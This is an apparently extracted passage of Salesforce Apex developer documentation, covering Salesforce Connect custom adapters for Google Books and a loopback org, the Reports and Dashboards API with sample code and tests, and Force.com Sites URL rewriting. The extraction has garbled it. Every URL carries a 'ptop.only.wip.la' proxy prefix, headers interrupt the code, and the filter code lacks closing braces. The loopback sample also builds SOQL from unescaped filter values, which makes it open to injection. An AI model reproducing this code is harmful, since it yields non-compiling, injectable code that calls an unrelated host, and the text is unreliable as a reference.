DataSource.QueryAggregation.COUNT) {
return getCount(contexts);
}
if (filter != null) {
String thisColumnName = filter.columnName;
if (thisColumnName != null &&
thisColumnName.equals('ExternalId')) {
url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=' + filter.columnValue +
'&maxResults=1&id=' + filter.columnValue;
return DataSource.TableResult.get(true, null,
contexts.tableSelection.tableSelected,
getData(url));
}
else {
url = 'https://www.googleapis.com/books/' +
'v1/volumes?q=' + filter.columnValue +
'&id=' + filter.columnValue +
'&maxResults=40' + '&startIndex=';
}
} else {
url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=america&' + '&maxResults=40' +
'&startIndex=';
}
/**
*
Google Books API v1 supports maxResults of 40
*
so we handle pagination explicitly in the else statement
*
when we handle more than 40 records per query.
**/

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if (contexts.maxResults < 40) {

return DataSource.TableResult.get(true, null,
contexts.tableSelection.tableSelected,
getData(url + contexts.offset));
}
else {
return fetchData(contexts, url);
}
}
/**
*
Helper method to fetch results when maxResults is
*
greater than 40 (the max value for maxResults supported
*
by Google Books API v1).
**/
private DataSource.TableResult fetchData(
DataSource.QueryContext contexts, String url) {
Integer fetchSlot = (contexts.maxResults / 40) + 1;
List<Map<String, Object>> data =
new List<Map<String, Object>>();
Integer startIndex = contexts.offset;
for(Integer count = 0; count < fetchSlot; count++) {
data.addAll(getData(url + startIndex));
if(count == 0)
contexts.offset = 41;
else
contexts.offset += 40;
}
return DataSource.TableResult.get(true, null,
contexts.tableSelection.tableSelected, data);
}
/**
*
Helper method to execute count() query.
**/
private DataSource.TableResult getCount(
DataSource.QueryContext contexts) {
String url = 'https://www.googleapis.com/books/v1/' +
'volumes?q=america&projection=full';
List<Map<String,Object>> response =
DataSource.QueryUtils.filter(contexts, getData(url));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
contexts.tableSelection.columnsSelected.get(0).columnName,
response.size());
countResponse.add(countRow);
return DataSource.TableResult.get(contexts, countResponse);
}
/**

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*
Called to do a full text search and get results from
*
the external system for SOSL queries and Salesforce
*
global searches.
*
*
The SearchContext argument represents the query to run
*
against a table in the external system.
*
*
Returns results for each table that the SearchContext
*
requested to be searched.
**/
override global List<DataSource.TableResult> search(
DataSource.SearchContext contexts) {
List<DataSource.TableResult> results =
new List<DataSource.TableResult>();
for (Integer i =0; i< contexts.tableSelections.size();i++) {
String entity = contexts.tableSelections[i].tableSelected;
String url = 'https://www.googleapis.com/books/v1' +
'/volumes?q=' + contexts.searchPhrase;
results.add(DataSource.TableResult.get(true, null,
entity,
getData(url)));
}
return results;
}
/**
*
Helper method to parse the data.
*
Returns a list of rows from the external system.
**/
public List<Map<String, Object>> getData(String url) {
HttpResponse response = getResponse(url);
String body = response.getBody();
List<Map<String, Object>> rows =
new List<Map<String, Object>>();
Map<String, Object> responseBodyMap =
(Map<String, Object>)JSON.deserializeUntyped(body);
/**
*
Checks errors.
**/
Map<String, Object> error =
(Map<String, Object>)responseBodyMap.get('error');
if (error!=null) {
List<Object> errorsList =
(List<Object>)error.get('errors');
Map<String, Object> errors =
(Map<String, Object>)errorsList[0];
String messages = (String)errors.get('message');
throw new DataSource.OAuthTokenExpiredException(messages);
}

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List<Object> sItems = (List<Object>)responseBodyMap.get('items');

if (sItems != null) {
for (Integer i=0; i< sItems.size(); i++) {
Map<String, Object> item =
(Map<String, Object>)sItems[i];
rows.add(createRow(item));
}
} else {
rows.add(createRow(responseBodyMap));
}
return rows;
}
/**
*
Helper method to populate a row based on source data.
*
*
The item argument maps to the data that
*
represents a row.
*
*
Returns an updated map with the External ID and
*
Display URL values.
**/
public Map<String, Object> createRow(
Map<String, Object> item) {
Map<String, Object> row = new Map<String, Object>();
for ( String key : item.keySet() ){
if (key == 'id') {
row.put('ExternalId', item.get(key));
} else if (key == 'volumeInfo') {
Map<String, Object> volumeInfoMap =
(Map<String, Object>)item.get(key);
row.put('title', volumeInfoMap.get('title'));
row.put('description',
volumeInfoMap.get('description'));
row.put('DisplayUrl',
volumeInfoMap.get('infoLink'));
row.put('publishedDate',
volumeInfoMap.get('publishedDate'));
row.put('publisher',
volumeInfoMap.get('publisher'));
}
}
return row;
}
/**
*
Helper method to make the HTTP GET call.
*
The url argument is the URL of the external system.
*
Returns the response from the external system.
**/
public HttpResponse getResponse(String url) {
Http httpProtocol = new Http();

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HttpRequest request = new HttpRequest();

request.setEndPoint(url);
request.setMethod('GET');
request.setHeader('Authorization', 'Bearer '+
this.connectionInfo.oauthToken);
HttpResponse response = httpProtocol.send(request);
return response;
}
}

BooksDataSourceProvider Class
/**
*
Extends the DataSource.Provider base class to create a
*
custom adapter for Salesforce Connect. The class informs
*
Salesforce of the functional and authentication
*
capabilities that are supported by or required to connect
*
to an external system.
**/
global class BooksDataSourceProvider extends
DataSource.Provider {
/**
*
Declares the types of authentication that can be used
*
to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.OAUTH);
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
return capabilities;
}
/**
*
Declares the functional capabilities that the
*
external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities = new
List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
*
Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection getConnection(

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DataSource.ConnectionParams connectionParams) {
return new BooksDataSourceConnection(connectionParams);
}
}

Loopback Custom Adapter for Salesforce Connect

This example illustrates how to handle filtering in queries. For simplicity, this example connects the Salesforce org to itself as the external
system.

LoopbackDataSourceConnection Class
/**
*
Extends the DataSource.Connection class to enable
*
Salesforce to sync the external systems schema
*
and to handle queries and searches of the external data.
**/
global class LoopbackDataSourceConnection
extends DataSource.Connection {
/**
*
Constructors.
**/
global LoopbackDataSourceConnection(
DataSource.ConnectionParams connectionParams) {
}
global LoopbackDataSourceConnection() {}
/**
*
Called when an external object needs to get a list of
*
schema from the external data source, for example when
*
the administrator clicks Validate and Sync in the
*
user interface for the external data source.
**/
override global List<DataSource.Table> sync() {
List<DataSource.Table> tables =
new List<DataSource.Table>();
List<DataSource.Column> columns;
columns = new List<DataSource.Column>();
columns.add(DataSource.Column.text('ExternalId', 255));
columns.add(DataSource.Column.url('DisplayUrl'));
columns.add(DataSource.Column.text('Name', 255));
columns.add(
DataSource.Column.number('NumberOfEmployees', 18, 0));
tables.add(
DataSource.Table.get('Looper', 'Name', columns));
return tables;
}
/**
*
*
*

Called to query and get results from the external

system for SOQL queries, list views, and detail pages
for an external object thats associated with the

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*
external data source.
*
*
The QueryContext argument represents the query to run
*
against a table in the external system.
*
*
Returns a list of rows as the query results.
**/
override global DataSource.TableResult
query(DataSource.QueryContext context) {
if (context.tableSelection.columnsSelected.size() == 1 &&
context.tableSelection.columnsSelected.get(0).aggregation ==
DataSource.QueryAggregation.COUNT) {
integer count = execCount(getCountQuery(context));
List<Map<String, Object>> countResponse =
new List<Map<String, Object>>();
Map<String, Object> countRow =
new Map<String, Object>();
countRow.put(
context.tableSelection.columnsSelected.get(0).columnName,
count);
countResponse.add(countRow);
return DataSource.TableResult.get(context,countResponse);
} else {
List<Map<String,Object>> rows = execQuery(
getSoqlQuery(context));
return DataSource.TableResult.get(context,rows);
}
}
/**
*
Called to do a full text search and get results from
*
the external system for SOSL queries and Salesforce
*
global searches.
*
*
The SearchContext argument represents the query to run
*
against a table in the external system.
*
*
Returns results for each table that the SearchContext
*
requested to be searched.
**/
override global List<DataSource.TableResult>
search(DataSource.SearchContext context) {
return DataSource.SearchUtils.searchByName(context, this);
}
/**
*
Helper method to execute the SOQL query and
*
return the results.
**/
private List<Map<String,Object>>
execQuery(String soqlQuery) {
List<Account> objs = Database.query(soqlQuery);
List<Map<String,Object>> rows =
new List<Map<String,Object>>();

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for (Account obj : objs) {

Map<String,Object> row = new Map<String,Object>();
row.put('Name', obj.Name);
row.put('NumberOfEmployees', obj.NumberOfEmployees);
row.put('ExternalId', obj.Id);
row.put('DisplayUrl',
URL.getSalesforceBaseUrl().toExternalForm() +
obj.Id);
rows.add(row);
}
return rows;
}
/**
*
Helper method to get aggregate count.
**/
private integer execCount(String soqlQuery) {
integer count = Database.countQuery(soqlQuery);
return count;
}
/**
*
Helper method to create default aggregate query.
**/
private String getCountQuery(DataSource.QueryContext context) {
String baseQuery = 'SELECT COUNT() FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
*
Helper method to create default query.
**/
private String getSoqlQuery(DataSource.QueryContext context) {
String baseQuery =
'SELECT Id,Name,NumberOfEmployees FROM Account';
String filter = getSoqlFilter('',
context.tableSelection.filter);
if (filter.length() > 0)
return baseQuery + ' WHERE ' + filter;
return baseQuery;
}
/**
*
Helper method to handle query filter.
**/
private String getSoqlFilter(String query,
DataSource.Filter filter) {
if (filter == null) {
return query;
}

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String append;
DataSource.FilterType type = filter.type;
List<Map<String,Object>> retainedRows =
new List<Map<String,Object>>();
if (type == DataSource.FilterType.NOT_) {
DataSource.Filter subfilter = filter.subfilters.get(0);
append = getSoqlFilter('NOT', subfilter);
} else if (type == DataSource.FilterType.AND_) {
append =
getSoqlFilterCompound('AND', filter.subfilters);
} else if (type == DataSource.FilterType.OR_) {
append =
getSoqlFilterCompound('OR', filter.subfilters);
} else {
append = getSoqlFilterExpression(filter);
}
return query + ' ' + append;
}
/**
*
Helper method to handle query subfilters.
**/
private String getSoqlFilterCompound(String operator,
List<DataSource.Filter> subfilters) {
String expression = ' (';
boolean first = true;
for (DataSource.Filter subfilter : subfilters) {
if (first)
first = false;
else
expression += ' ' + operator + ' ';
expression += getSoqlFilter('', subfilter);
}
expression += ') ';
return expression;
}
/**
*
Helper method to handle query filter expressions.
**/
private String getSoqlFilterExpression(
DataSource.Filter filter) {
String columnName = filter.columnName;
String operator;
Object expectedValue = filter.columnValue;
if (filter.type == DataSource.FilterType.EQUALS) {
operator = '=';
} else if (filter.type ==
DataSource.FilterType.NOT_EQUALS) {
operator = '<>';
} else if (filter.type ==
DataSource.FilterType.LESS_THAN) {
operator = '<';
} else if (filter.type ==

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DataSource.FilterType.GREATER_THAN) {
operator = '>';
else if (filter.type ==
DataSource.FilterType.LESS_THAN_OR_EQUAL_TO) {
operator = '<=';
else if (filter.type ==
DataSource.FilterType.GREATER_THAN_OR_EQUAL_TO) {
operator = '>=';
else if (filter.type ==
DataSource.FilterType.STARTS_WITH) {
return mapColumnName(columnName) +
' LIKE \'' + String.valueOf(expectedValue) + '%\'';
else if (filter.type ==
DataSource.FilterType.ENDS_WITH) {
return mapColumnName(columnName) +
' LIKE \'%' + String.valueOf(expectedValue) + '\'';
else {
throwException(
'Implementing other filter types is left as an exercise for the reader: '
+ filter.type);

}
return mapColumnName(columnName) +
' ' + operator + ' ' + wrapValue(expectedValue);
}
/**
*
Helper method to map column names.
**/
private String mapColumnName(String apexName) {
if (apexName.equalsIgnoreCase('ExternalId'))
return 'Id';
if (apexName.equalsIgnoreCase('DisplayUrl'))
return 'Id';
return apexName;
}
/**
*
Helper method to wrap expression Strings with quotes.
**/
private String wrapValue(Object foundValue) {
if (foundValue instanceof String)
return '\'' + String.valueOf(foundValue) + '\'';
return String.valueOf(foundValue);
}
}

LoopbackDataSourceProvider Class
/**
*
*
*
*

Extends the DataSource.Provider base class to create a

custom adapter for Salesforce Connect. The class informs
Salesforce of the functional and authentication
capabilities that are supported by or required to connect

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Salesforce Reports and Dashboards API via Apex

*
to an external system.
**/
global class LoopbackDataSourceProvider
extends DataSource.Provider {
/**
*
Declares the types of authentication that can be used
*
to access the external system.
**/
override global List<DataSource.AuthenticationCapability>
getAuthenticationCapabilities() {
List<DataSource.AuthenticationCapability> capabilities =
new List<DataSource.AuthenticationCapability>();
capabilities.add(
DataSource.AuthenticationCapability.ANONYMOUS);
capabilities.add(
DataSource.AuthenticationCapability.BASIC);
return capabilities;
}
/**
*
Declares the functional capabilities that the
*
external system supports.
**/
override global List<DataSource.Capability>
getCapabilities() {
List<DataSource.Capability> capabilities =
new List<DataSource.Capability>();
capabilities.add(DataSource.Capability.ROW_QUERY);
capabilities.add(DataSource.Capability.SEARCH);
return capabilities;
}
/**
*
Declares the associated DataSource.Connection class.
**/
override global DataSource.Connection
getConnection(DataSource.ConnectionParams connectionParams) {
return new LoopbackDataSourceConnection();
}
}

Salesforce Reports and Dashboards API via Apex

The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report builder.
The API enables you to integrate report data into any web or mobile application, inside or outside the Salesforce platform. For example,
you might use the API to trigger a Chatter post with a snapshot of top-performing reps each quarter.
The Reports and Dashboards API via Apex revolutionizes the way that you access and visualize your data. You can:
Integrate report data into custom objects.
Integrate report data into rich visualizations to animate the data.

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Requirements and Limitations

Build custom dashboards.

Automate reporting tasks.
At a high level, the API resources enable you to query and filter report data. You can:
Run tabular, summary, or matrix reports synchronously or asynchronously.
Filter for specific data on the fly.
Query report data and metadata.
IN THIS SECTION:
Requirements and Limitations
The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.
Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
List Asynchronous Runs of a Report
You can retrieve up to 2,000 instances of a report that you ran asynchronously.
Get Report Metadata
You can retrieve report metadata to get information about a report and its report type.
Get Report Data
You can use the ReportResults class to get the fact map, which contains data thats associated with a report.
Filter Reports
To get specific results on the fly, you can filter reports through the API.
Decode the Fact Map
The fact map contains the summary and record-level data values for a report.
Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.
SEE ALSO:
Reports Namespace

Requirements and Limitations

The Salesforce Reports and Dashboards API via Apex is available for organizations that have API enabled.
The following restrictions apply to the Reports and Dashboards API via Apex, in addition to general API limits.
Cross filters, standard report filters, and filtering by row limit are unavailable when filtering data.
Historical trend reports are only supported for matrix reports.
The API can process only reports that contain up to 100 fields selected as columns.
A list of up to 200 recently viewed reports can be returned.
Your org can request up to 500 synchronous report runs per hour.
The API supports up to 20 synchronous report run requests at a time.
A list of up to 2,000 instances of a report that was run asynchronously can be returned.
The API supports up to 200 requests at a time to get results of asynchronous report runs.

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Run Reports

Your organization can request up to 1,200 asynchronous requests per hour.

Asynchronous report run results are available within a 24-hour rolling period.
The API returns up to the first 2,000 report rows. You can narrow results using filters.
You can add up to 20 custom field filters when you run a report.
In addition, the following restrictions apply to the Reports and Dashboards API via Apex.
Asynchronous report calls are not allowed in batch Apex.
Report calls are not allowed in Apex triggers.
There is no Apex method to list recently run reports.
The number of report rows processed during a synchronous report run count towards the governor limit that restricts the total
number of rows retrieved by SOQL queries to 50,000 rows per transaction. This limit is not imposed when reports are run
asynchronously.
In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or
false. This means that report results will include pre-existing data that the test didnt create. There is no way to disable the
SeeAllData annotation for a report execution. To limit results, use a filter on the report.
In Apex tests, asynchronous report runs will execute only after the test is stopped using the Test.stopTest method.
Note: All limits that apply to reports created in the report builder also apply to the API. For more information, see Analytics Limits
in the Salesforce online help.

Run Reports
You can run a report synchronously or asynchronously through the Salesforce Reports and Dashboards API via Apex.
Reports can be run with or without details and can be filtered by setting report metadata. When you run a report, the API returns data
for the same number of records that are available when the report is run in the Salesforce user interface.
Run a report synchronously if you expect it to finish running quickly. Otherwise, we recommend that you run reports through the
Salesforce API asynchronously for these reasons:
Long-running reports have a lower risk of reaching the timeout limit when they are run asynchronously.
The two-minute overall Salesforce API timeout limit doesnt apply to asynchronous runs.
The Salesforce Reports and Dashboards API via Apex can handle a higher number of asynchronous run requests at a time.
Because the results of an asynchronously run report are stored for a 24-hour rolling period, theyre available for recurring access.
Example: Run a Report Synchronously
To run a report synchronously, use one of the ReportManager.runReport() methods. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run the report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, true);
System.debug('Synchronous results: ' + results);

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List Asynchronous Runs of a Report

Example: Run a Report Asynchronously

To run a report asynchronously, use one of the ReportManager.runAsyncReport() methods. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run the report
Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('Asynchronous instance: ' + instance);

List Asynchronous Runs of a Report

You can retrieve up to 2,000 instances of a report that you ran asynchronously.
The instance list is sorted by the date and time when the report was run. Report results are stored for a rolling 24-hour period. During
this time, based on your user access level, you can access results for each instance of the report that was run.
Example: You can get the instance list by calling the ReportManager.getReportInstances method. For example:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report asynchronously
Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('List of asynchronous runs: ' +
Reports.ReportManager.getReportInstances(reportId));

Get Report Metadata

You can retrieve report metadata to get information about a report and its report type.
Metadata includes information about fields that are used in the report for filters, groupings, detailed data, and summaries. You can use
the metadata to do several things:
Find out what fields and values you can filter on in the report type.
Build custom chart visualizations by using the metadata information on fields, groupings, detailed data, and summaries.
Change filters in the report metadata when you run a report.
Use the ReportResults.getReportMetadata method to retrieve report metadata. You can then use the get methods on
the ReportMetadata class to access metadata values.
Example: The following example retrieves metadata for a report.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report

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Reports.ReportResults results = Reports.ReportManager.runReport(reportId);

// Get the report metadata
Reports.ReportMetadata rm = results.getReportMetadata();
System.debug('Name: ' + rm.getName());
System.debug('ID: ' + rm.getId());
System.debug('Currency code: ' + rm.getCurrencyCode());
System.debug('Developer name: ' + rm.getDeveloperName());
// Get grouping info for first grouping
Reports.GroupingInfo gInfo = rm.getGroupingsDown()[0];
System.debug('Grouping name: ' + gInfo.getName());
System.debug('Grouping sort order: ' + gInfo.getSortOrder());
System.debug('Grouping date granularity: ' + gInfo.getDateGranularity());
// Get aggregates
System.debug('First aggregate: ' + rm.getAggregates()[0]);
System.debug('Second aggregate: ' + rm.getAggregates()[1]);
// Get detail columns
System.debug('Detail columns: ' + rm.getDetailColumns());
// Get report format
System.debug('Report format: ' + rm.getReportFormat());

Get Report Data

You can use the ReportResults class to get the fact map, which contains data thats associated with a report.
Example: To access data values of the fact map, you can map grouping value keys to the corresponding fact map keys. In the
following example, imagine that you have an opportunity report thats grouped by close month, and youve summarized the
amount field. To get the value for the summary amount for the first grouping in the report:
1. Get the first down-grouping in the report by using the ReportResults.getGroupingsDown method and accessing
the first GroupingValue object.
2. Get the grouping key value from the GroupingValue object by using the getKey method.
3. Construct a fact map key by appending '!T'to this key value. The resulting fact map key represents the summary value for
the first down-grouping.
4. Get the fact map from the report results by using the fact map key.
5. Get the first summary amount value by using the ReportFact.getAggregates method and accessing the first
SummaryValue object.
6. Get the field value from the first data cell of the first row of the report by using the ReportFactWithDetails.getRows
method.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Run a report synchronously

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Filter Reports

Reports.reportResults results = Reports.ReportManager.runReport(reportId, true);

// Get the first down-grouping in the report
Reports.Dimension dim = results.getGroupingsDown();
Reports.GroupingValue groupingVal = dim.getGroupings()[0];
System.debug('Key: ' + groupingVal.getKey());
System.debug('Label: ' + groupingVal.getLabel());
System.debug('Value: ' + groupingVal.getValue());
// Construct a fact map key, using the grouping key value
String factMapKey = groupingVal.getKey() + '!T';
// Get the fact map from the report results
Reports.ReportFactWithDetails factDetails =
(Reports.ReportFactWithDetails)results.getFactMap().get(factMapKey);
// Get the first summary amount from the fact map
Reports.SummaryValue sumVal = factDetails.getAggregates()[0];
System.debug('Summary Value: ' + sumVal.getLabel());
// Get the field value from the first data cell of the first row of the report
Reports.ReportDetailRow detailRow = factDetails.getRows()[0];
System.debug(detailRow.getDataCells()[0].getLabel());

Filter Reports
To get specific results on the fly, you can filter reports through the API.
Changes to filters that are made through the API dont affect the source report definition. Using the API, you can filter with up to 20
custom field filters and add filter logic (such as AND and OR). But standard filters (such as range), filtering by row limit, and cross filters
are unavailable.
Before you filter a report, its helpful to check the following filter values in the metadata.
The ReportTypeColumn.getFilterable method tells you whether a field can be filtered.
The ReportTypeColumn.filterValues method returns all filter values for a field.
The ReportManager.dataTypeFilterOperatorMap method lists the field data types that you can use to filter the
report.
The ReportMetadata.getReportFilters method lists all filters that exist in the report.
You can filter reports during synchronous or asynchronous report runs.
Example: To filter a report, set filter values in the report metadata and then run the report. The following example retrieves the
report metadata, overrides the filter value, and runs the report. The example:
1. Retrieves the report filter object from the metadata by using the ReportMetadata.getReportFilters method.
2. Sets the value in the filter to a specific date by using the ReportFilter.setValue method and runs the report.
3. Overrides the filter value to a different date and runs the report again.
The output for the example shows the differing grand total values, based on the date filter that was applied.
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where

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Decode the Fact Map

DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Get the report metadata
Reports.ReportDescribeResult describe = Reports.ReportManager.describeReport(reportId);
Reports.ReportMetadata reportMd = describe.getReportMetadata();
// Override filter and run report
Reports.ReportFilter filter = reportMd.getReportFilters()[0];
filter.setValue('2013-11-01');
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, reportMd);
Reports.ReportFactWithSummaries factSum =
(Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for November: ' + factSum.getAggregates()[0].getLabel());
// Override filter and run report
filter = reportMd.getReportFilters()[0];
filter.setValue('2013-10-01');
results = Reports.ReportManager.runReport(reportId, reportMd);
factSum = (Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for October: ' + factSum.getAggregates()[0].getLabel());

Decode the Fact Map

The fact map contains the summary and record-level data values for a report.
Depending on how you run a report, the fact map in the report results can contain values for only summary or both summary and
detailed data. The fact map values are expressed as keys, which you can programmatically use to visualize the report data. Fact map
keys provide an index into each section of a fact map, from which you can access summary and detailed data.
The pattern for the fact map keys varies by report format as shown in this table.
Report
format

Fact map key pattern

Tabular

T!T: The grand total of a report. Both record data values and the grand total are represented by this key.

Summary

<First level row grouping_second level row grouping_third level row

grouping>!T: T refers to the row grand total.

Matrix

<First level row grouping_second level row grouping>!<First level column

grouping_second level column grouping>.

Each item in a row or column grouping is numbered starting with 0. Here are some examples of fact map keys:
Fact Map
Key

Description

0!T

The first item in the first-level grouping.

1!T

The second item in the first-level grouping.

0_0!T

The first item in the first-level grouping and the first item in the second-level grouping.

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Fact Map
Key

Description

0_1!T

The first item in the first-level grouping and the second item in the second-level grouping.

Lets look at examples of how fact map keys represent data as it appears in a Salesforce tabular, summary, or matrix report.

Tabular Report Fact Map

Heres an example of an opportunities report in tabular format. Since tabular reports dont have groupings, all of the record level data
and summaries are expressed by the T!T key, which refers to the grand total.

Summary Report Fact Map

This example shows how the values in a summary report are represented in the fact map.

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Test Reports

Fact Map Key

Description

0!T

Summary for the value of opportunities in the Prospecting stage.

1_0!T

Summary of the probabilities for the Manufacturing opportunities in the Needs Analysis stage.

Matrix Report Fact Map

Heres an example of some fact map keys for data in a matrix opportunities report with a couple of row and column groupings.

Fact Map Key

Description

0!0

Total opportunity amount in the Prospecting stage in Q4 2010.

0_0!0_0

Total opportunity amount in the Prospecting stage in the Manufacturing sector in October 2010.

2_1!1_1

Total value of opportunities in the Value Proposition stage in the Technology sector in February 2011.

T!T

Grand total summary for the report.

Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.

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Test Reports

The Reporting Apex methods dont run in system mode, they run in the context of the current user (also called the context user or the
logged-in user). The methods have access to whatever the current user has access to.
In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or false.
This means that report results will include pre-existing data that the test didnt create. There is no way to disable the SeeAllData
annotation for a report execution. To limit results, use a filter on the report.
Example: Create a Reports Test Class
The following example tests asynchronous and synchronous reports. Each method:
Creates a new Opportunity object and uses it to set a filter on the report.
Runs the report.
Calls assertions to validate the data.
Note: In Apex tests, asynchronous reports execute only after the test is stopped using the Test.stopTest method.
@isTest
public class ReportsInApexTest{
@isTest(SeeAllData='true')
public static void testAsyncReportWithTestData() {
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
// Create an Opportunity object.
Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
Probability = 95, CloseDate=system.today());
insert opp;
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Test.startTest();
Reports.ReportInstance instanceObj =
Reports.ReportManager.runAsyncReport(reportId,reportMetadata,false);
String instanceId = instanceObj.getId();
// Report instance is not available yet.
Test.stopTest();
// After the stopTest method, the report has finished executing
// and the instance is available.

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Force.com Sites

instanceObj = Reports.ReportManager.getReportInstance(instanceId);
System.assertEquals(instanceObj.getStatus(),'Success');
Reports.ReportResults result = instanceObj.getReportResults();
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
@isTest(SeeAllData='true')
public static void testSyncReportWithTestData() {
// Create an Opportunity Object.
Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
Probability = 95, CloseDate=system.today());
insert opp;
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where
DeveloperName = 'Closed_Sales_This_Quarter'];
String reportId = (String)reportList.get(0).get('Id');
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Reports.ReportResults result =
Reports.ReportManager.runReport(reportId,reportMetadata,false);
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
}

Force.com Sites
Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics, workflow
and approvals, and programmable logic.
You can manage your Force.com sites in Apex using the methods of the Site and Cookie classes.

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Rewriting URLs for Force.com Sites

IN THIS SECTION:
Rewriting URLs for Force.com Sites
SEE ALSO:
Site Class

Rewriting URLs for Force.com Sites

Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed
into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links
within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index
your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN

With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your New Year's
Eve posts might be: http://myblog.force.com/posts/2009/12/31/auld-lang-syne
You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's Day post,
the link URL might show: http://myblog.force.com/posts/2010/02/14/last-minute-roses
To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your
site.
To learn about the methods in the Site.UrlRewriter interface, see UrlRewriter.

Creating the Apex Class

The Apex class that you create must implement the Force.com provided interface Site.UrlRewriter. In general, it must have
the following form:
global class yourClass implements Site.UrlRewriter {
global PageReference mapRequestUrl(PageReference
yourFriendlyUrl)
global PageReference[] generateUrlFor(PageReference[]
yourSalesforceUrls);
}

Consider the following restrictions and recommendations as you create your Apex class:
Class and Methods Must Be Global
The Apex class and methods must all be global.
Class Must Include Both Methods
The Apex class must implement both the mapRequestUrl and generateUrlFor methods. If you don't want to use one
of the methods, simply have it return null.
Rewriting Only Works for Visualforce Site Pages
Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard pages, images,
or other entities.

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To rewrite URLs for links on your site's pages, use the !URLFOR function with the $Page merge variable. For example, the
following links to a Visualforce page named myPage:
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>

Note: Visualforce <apex:form> elements with forceSSL=true aren't affected by the urlRewriter.
See the Functions appendix of the Visualforce Developer's Guide.
Encoded URLs
The URLs you get from using the Site.urlRewriter interface are encoded. If you need to access the unencoded values of
your URL, use the urlDecode method of the EncodingUtil Class.
Restricted Characters
